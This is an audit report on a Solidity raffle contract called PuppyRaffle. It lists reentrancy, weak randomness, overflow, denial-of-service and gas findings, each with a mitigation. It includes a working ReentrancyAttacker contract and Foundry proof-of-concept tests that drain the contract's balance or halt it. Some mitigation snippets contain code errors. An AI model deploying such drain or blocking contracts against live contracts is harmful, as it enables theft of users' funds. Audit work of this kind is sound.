

Prepared by Olusola Jaiyeola (codexNature)

Contract Name: PuppyRaffle

High

[H-1] Reentrancy attck in `PuppyRaffle::refund` allows entrant to drain raffle balance,

Description: The `PuppyRaffle::refund` function does not follow CEI (checks, Effects and Interactions) and as a result, enable participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the 'msg.senderaddress' and only after making that external call do we update the `PuppyRaffle::players`` array.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

    @> payable(msg.sender).sendValue(entranceFee);
    @> players[playerIndex] = address(0);

    emit RaffleRefunded(playerAddress);
}
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund> They could continue the cycle till the contract balance is drained.

Impact All fees paid by raffle entrants could be stolen by malicious participants.

Proof of Concept

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attcker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from thier attack contract, draining the contract balance.

Proof of Code

► Code

Place the below into `puppyRaffleTest.t.sol`

```
function test_reentrancyRefund() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    ReentrancyAttacker attackerContract = new
    ReentrancyAttacker(puppyRaffle); //ReentrancyAttacker contract is
    converted to a variable named attackerContract so it can be used else
    where within the contract as a variable?? also passed puppyRaffle contract
    as an argument, PuppyRaffle contract is also converted to a variable named
    puppyRaffle which is why we can pass it as an argument.
    address attackUser = makeAddr("attackUser"); //create a new user
    vm.deal(attackUser, 1 ether); //give attackUser some money.

    uint256 startingAttackContractBalance =
    address(attackerContract).balance; //Reentrancy attaker contract
    uint256 startingContractBalance = address(puppyRaffle).balance;
    //PuppyRaffle contract

    //attack
    vm.prank(attackUser);
    attackerContract.attack{value: entranceFee}();

    console.log("starting attacker contract balance: ",
    startingAttackContractBalance); //Reentrancy attaker contract starting
    balance
    console.log("starting contract balance: ",
    startingContractBalance); //PuppyRaffle contract starting balance

    console.log("ending attacker contract balance:",
    address(attackerContract).balance); //Reentrancy attaker contract ending
    balance
    console.log("ending contract balance",
    address(puppyRaffle).balance); //PuppyRaffle contract ending balance
}
```

And this contract as well.

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle){
```

```

        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players); //Call
function enterRaffle in the PuppyRaffle contract to get the value of
entranceFee. Total entranceFee * players(no of players in array)

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function stealFees() internal {
        if (address(puppyRaffle).balance >= entranceFee) { //if the
balance of PuppyRaffle.sol is greater or equal to the entranceFee amount.
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        stealFees();
    }

    receive() external payable {
        stealFees();
    }
}

```

Recommended Mitigation To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```

function refund(uint256 playerIndex) public {

    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");
+   players[playerIndex] = address(0);
+   emit RaffleRefunded(playerAddress);
    payable(msg.sender).sendValue(entranceFee);
-   players[playerIndex] = address(0);
-   emit RaffleRefunded(playerAddress);
}

```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence the winning puppy

Description Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together created a predictable fiind number. A predictable number is not good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact Any user can influcence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof of Concept

1. Validators can know ahead of the time the `block.timestamp` and `block.difficulty` and use that to redict when/how to participate. See the [solidity blog on prevrandao](#). `block.difficulty` was recently replaced with `prevrandao`.
2. User can mine/manipulate thier `msg.sender` value to result in thier address being used to generate the winner!
3. Users can revert thier `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a [well-documented attack vector](#) in blockchain space.

Recommended Mitigation Consider us9ing a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `puppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` intergers were subject to integers overflows

```
uint64 myVar = type(uint64).max
//18446744073709551615
myVar = myvar + 1
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeaddress` to collect later in `PuppyRaffle::withdrawFees`, However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We concluded a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 8000000000000000000 + 1780000000000000000
```

```
//and it overflows!
totalFees = 153255926290448384
```

4. You will not be able to withdraw due to the line in , due to the line in
 PuppyRaffle::withdrawFees:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");
```

Although you could use `selfDestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

► Code

```
function testTotalFeesOverflow() public playersEntered {
    // We finish a raffle of 4 to collect some fees
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();
    // startingTotalFees = 8000000000000000000

    // We then have 89 players enter a new raffle
    uint256 playersNum = 89;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    // We end the raffle
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    // And here is where the issue occurs
    // We will now have fewer fees even though we just finished a
second raffle
    puppyRaffle.selectWinner();

    uint256 endingTotalFees = puppyRaffle.totalFees();
    console.log("ending total fees", endingTotalFees);
    assert(endingTotalFees < startingTotalFees);

    // We are also unable to withdraw any fees because of the require
check
    vm.prank(puppyRaffle.feeAddress());
    vm.expectRevert("PuppyRaffle: There are currently players
active!");
    puppyRaffle.withdrawFees();
```

```
}
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees``
2. You could also use the `SafeMath` library of Openzeppelin for version 0.7.6 of solidity, however you will still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:  
There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

[H-4] Malicious winner can forever halt the raffle

Description: Once the winner is chosen, the `selectWinner` function sends the prize to the corresponding address with an external call to the winner account.

```
(bool success,) = winner.call{value: prizePool}("");  
require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

If the winner account were a smart contract that did not implement a payable fallback or receive function, or these functions were included but reverted, the external call above would fail, and execution of the `selectWinner` function would halt. Therefore, the prize would never be distributed and the raffle would never be able to start a new round.

There's another attack vector that can be used to halt the raffle, leveraging the fact that the `selectWinner` function mints an NFT to the winner using the `_safeMint` function. This function, inherited from the ERC721 contract, attempts to call the `onERC721Received` hook on the receiver if it is a smart contract. Reverting when the contract does not implement such function.

Therefore, an attacker can register a smart contract in the raffle that does not implement the `onERC721Received` hook expected. This will prevent minting the NFT and will revert the call to `selectWinner`.

Impact: In either case, because it'd be impossible to distribute the prize and start a new round, the raffle would be halted forever.

Proof of Concept:

► Proof of Code

```
function testSelectWinnerDoS() public {  
    vm.warp(block.timestamp + duration + 1);
```

```
vm.roll(block.number + 1);

address[] memory players = new address[](4);
players[0] = address(new AttackerContract());
players[1] = address(new AttackerContract());
players[2] = address(new AttackerContract());
players[3] = address(new AttackerContract());
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

vm.expectRevert();
puppyRaffle.selectWinner();
}
```

For example, the AttackerContract can be this

```
contract AttackerContract {
// Implements a `receive` function that always reverts
receive() external payable {
    revert();
}
}
```

Or this:

```
contract AttackerContract {
// Implements a `receive` function to receive prize, but does not
implement `onERC721Received` hook to receive the NFT.
receive() external payable {}
}
```

Recommended Mitigation: Favor pull-payments over push-payments. This means modifying the `selectWinner` function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of `selectWinner`

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, increamenting gas cost for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However the longer the `PuppyRaffle::enterRaffle` array is, the more checks a new player will have to make, This means the gas costs for players who enter right when the raffle stats will be

dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
// @audit DoS attack.
@>     for (uint256 i = 0; i < players.length - 1; i++) { //we loop
through the players array i.
        for (uint256 j = i + 1; j < players.length; j++) { //then we
loop through the players array again j
            require(players[i] != players[j], "PuppyRaffle: Duplicate
player"); //then we check if there is duplicate players in the array.
        }
    }
}
```

Impact: The gas cost for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have two sets of 100 players enter, the gas cost will be as such:

- 1st 100 players: 6252128 gas
- 2nd 100 players: 18068218 gas

This more than 3x more expensive for the second 100 players.

► PoC

```
function test_denialOfService() public {
    vm.txGasPrice(1);
    //Lets enter 100 players
    uint256 playersNum = 100;
    address[] memory playerz = new address[](playersNum);
    for(uint256 i = 0; i < playersNum; i++){
        playerz[i] = address(i);
    }
    //see how much gas it cost
    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playerz.length}
(playerz);
    uint256 gasEnd = gasleft(); //the gasleft function will tell us
how much gas it cost for the numbers of players in this case 100.
    uint256 gasUsedFirst100 = (gasStart - gasEnd) * tx.gasprice;
    console.log("Gas cost of the first 100 players: ",
gasUsedFirst100);

    //now for the second 100 players
```



```

    address[] memory playerz2 = new address[](playersNum);
    for(uint256 i = 0; i < playersNum; i++){
        playerz2[i] = address(i + playersNum); //its starts from 100,
101. 102 etc so there is duplicate.
    }
    //see how much gas it cost
    uint256 gasStartSecond = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playerz.length}
(playerz2);
    uint256 gasEndSecond = gasleft(); //the gasleft function will
tell us how much gas it cost for the numbers of players in this case 100.
    uint256 gasUsedSecond100 = (gasStartSecond - gasEndSecond) *
tx.gasprice;
    console.log("Gas cost of the second 100 players: ",
gasUsedSecond100);

    assert (gasUsedFirst100 < gasUsedSecond100);
}

```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```

+   mapping(address => uint256) public addressToRaffle;
+   uint256 public raffleId = 0;
+   .
+   .
+   .
    function enterRaffle(address[] memory newPlayers) public payable {
        required(msg.value == entranceFee * newPlayers.length,
"PuppyRaffle: Must send enough to enter raffle" );
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+           addressToRaffleId[newPlayers[i]] = raffleId;
        }

-         //Check for duplicates
+         //Check for duplicates only from the new players
+         for (uint256 i = 0; i < newPlayers.length; i++) {
+             require(addressToRaffleId[newPlayers[i]] = raffleId,
"PuppyRaffle: Duplicate Player");
+         }
-         for (uint256 i = 0; i < players.length - 1; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
-                 require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
-             }
            emit RaffleEnter(newPlayers);

```

```

    }
    .
    .
    .
    function selectWinner() external {
+       raffleId = raffleId + 1;
        required(block.timestamp >= raffleStarttime +
raffleDuration, "PuppyRaffle: Raffle not over");
    }

```

Alternatively, you can use [OpenZeppelin's EnumerableSet library](#).

[M-2] Balance check on PuppyRaffle::withdrawFees enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdestruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```

    function withdrawFees() external {
@>    require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");
    uint256 feesToWithdraw = totalFees;
    totalFees = 0;
    (bool success,) = feeAddress.call{value: feesToWithdraw}("");
    require(success, "PuppyRaffle: Failed to withdraw fees");
    }

```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in its balance, and 800 `totalFees`.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation:

```

    function withdrawFees() external {
-    require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");
    uint256 feesToWithdraw = totalFees;
    totalFees = 0;
    (bool success,) = feeAddress.call{value: feesToWithdraw}("");

```

```
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[M-3] Smart contract wallets raffle winners without a **receive** or a **fallback** function will block the start of a new contest.

Description: The **PuppyRaffle::selectWinner** function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the **selectWinner** function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and lottery reset could get very challenging.

Impact: The **PuppyRaffle::selectWinner** function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The **selectWinner** function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of address -> payout amounts so winners can pull their funds out themselves with a new **claimPrize** function, putting the onus on the winner to claim their prize. (Recommended)

No 2 above is called Pull over Push

[M-4] Unsafe cast of PuppyRaffle::fee loses fees

Description: In **PuppyRaffle::selectWinner** there is a type cast of a **uint256** to a **uint64**. This is an unsafe cast, and if the **uint256** is larger than **type(uint64).max**, the value will be truncated.

```
function selectWinner() external {
    require(block.timestamp >= raffleStartTime + raffleDuration,
        "PuppyRaffle: Raffle not over");
    require(players.length > 0, "PuppyRaffle: No players in raffle");

    uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
    address winner = players[winnerIndex];
    uint256 fee = totalFees / 10;
    uint256 winnings = address(this).balance - fee;
@> totalFees = totalFees + uint64(fee);
    players = new address[](0);
    emit RaffleWinner(winner, winnings);
}
```

```
}
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only `~18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. There is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
.
.
.
function selectWinner() external {
    require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
    require(players.length >= 4, "PuppyRaffle: Need at least 4
players");
    uint256 winnerIndex =
        uint256(keccak256(abi.encodePacked(msg.sender,
block.timestamp, block.difficulty))) % players.length;
    address winner = players[winnerIndex];
    uint256 totalAmountCollected = players.length * entranceFee;
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

```
-      totalFees = totalFees + uint64(fee);  
+      totalFees = totalFees + fee;
```

Low

[L-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol: 32:23:35

[L-2] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

- Found in src/PuppyRaffle.sol [Line: 76](#)

```
feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol [Line: 235](#)

```
feeAddress = newFeeAddress;
```

[L-3] `PuppyRaffle::getActivePlayersIndex` returns 0 for non-active players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array

```
/// @return the index of player in the array, if they are not  
active, if returns 0.  
function getActivePlayerIndex(address player) external view  
returns (uint256) {  
    for (uint256 i = 0; i < players.length; i++) {  
        if (players[i] == player) {  
            return i;  
        }  
    }  
    return 0;  
}
```

Impact A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayersIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function where the function returns -1 if the player is not active.

[I-5] `_isActivePlayer` is never used and should be removed

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: -- `PuppyRaffle::raffleDuration` should be `immutable` --

`PuppyRaffle::commonImageUri` should be `constant` -- `PuppyRaffle::rareImageUri` should be `constant` -- `PuppyRaffle::rareImageUri` should be `constant` --

`PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+   uint256 playerLength = Players.length;
-   for (uint256 i = 0; i < players.length - 1; i++) {
+   for (uint256 i = 0; i < playerLength - 1; i++)
-       for (uint256 j = i + 1; j < players.length; j++) {
+       for (uint256 j = i + 1; j < playerLength; j++)
+           require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
        }
    }
```

Informational/Non Critical

[I-1] Using an outdated version of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statements.

Recommendation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.
`0.8.0;`

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see [slither] (<https://github.com/crytic/slither/wiki/Detector-Documentation>) documentation for more information.

[I-2] `PuppyRaffle::selectWinner` does not follow CEI, which is not the best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions),

```
-      (bool success,) = winner.call{value: prizePool}("");
-      require(success, "PuppyRaffle: Failed to send prize pool to
winner");
      _safeMint(winner, tokenId);
+      (bool success,) = winner.call{value: prizePool}("");
+      require(success, "PuppyRaffle: Failed to send prize pool to
winner");
```

[I-2] Use of "magic" numbers is discouraged

It can be confusing to see number literal in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;
```

[I-3] Floating pragmas

Description: Contracts should use strict versions of solidity. Locking the version ensures that contracts are not deployed with a different version of solidity than they were tested with. An incorrect version could lead to unintended results.

<https://swcregistry.io/docs/SWC-103/>

Recommended Mitigation: Lock up pragma versions.

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.7.6;
```

[I-4] Test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

File	% Lines	% Statements	%
Branches % Funcs			
-----	-----	-----	-
script/DeployPuppyRaffle.sol	0.00% (0/3)	0.00% (0/4)	
100.00% (0/0) 0.00% (0/1)			
src/PuppyRaffle.sol	82.46% (47/57)	83.75% (67/80)	
66.67% (20/30) 77.78% (7/9)			
test/auditTests/ProofOfCodes.t.sol	100.00% (7/7)	100.00% (8/8)	
50.00% (1/2) 100.00% (2/2)			
Total	80.60% (54/67)	81.52% (75/92)	
65.62% (21/32) 75.00% (9/12)			

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the **Branches** column.

[I-5] Zero address validation

Description: The **PuppyRaffle** contract does not validate that the **feeAddress** is not the zero address. This means that the **feeAddress** could be set to the zero address, and fees would be lost.

```
PuppyRaffle.constructor(uint256,address,uint256)._feeAddress
(src/PuppyRaffle.sol#57) lacks a zero-check on :
    - feeAddress = _feeAddress (src/PuppyRaffle.sol#59)
PuppyRaffle.changeFeeAddress(address).newFeeAddress
(src/PuppyRaffle.sol#165) lacks a zero-check on :
    - feeAddress = newFeeAddress (src/PuppyRaffle.sol#166)
```

Recommended Mitigation: Add a zero address check whenever the **feeAddress** is updated.

[I-6] `_isActivePlayer` is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
- function _isActivePlayer() internal view returns (bool) {
-     for (uint256 i = 0; i < players.length; i++) {
-         if (players[i] == msg.sender) {
-             return true;
-         }
-     }
```



```
-     }  
-     return false;  
- }
```

[I-7] Unchanged variables should be constant or immutable

Constant Instances:

```
PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant  
PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be constant  
PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

Immutable Instances:

```
PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable
```

[I-8] Potentially erroneous active player index

Description: The `getActivePlayerIndex` function is intended to return zero when the given address is not active. However, it could also return zero for an active address stored in the first slot of the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.

Recommended Mitigation: Return $2^{256}-1$ (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

[I-9] Zero address may be erroneously considered an active player

Description: The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that "This function will allow there to be blank spots in the array". However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there's been a refund, the function will consider the zero address an active player, and return its index in the `players` array.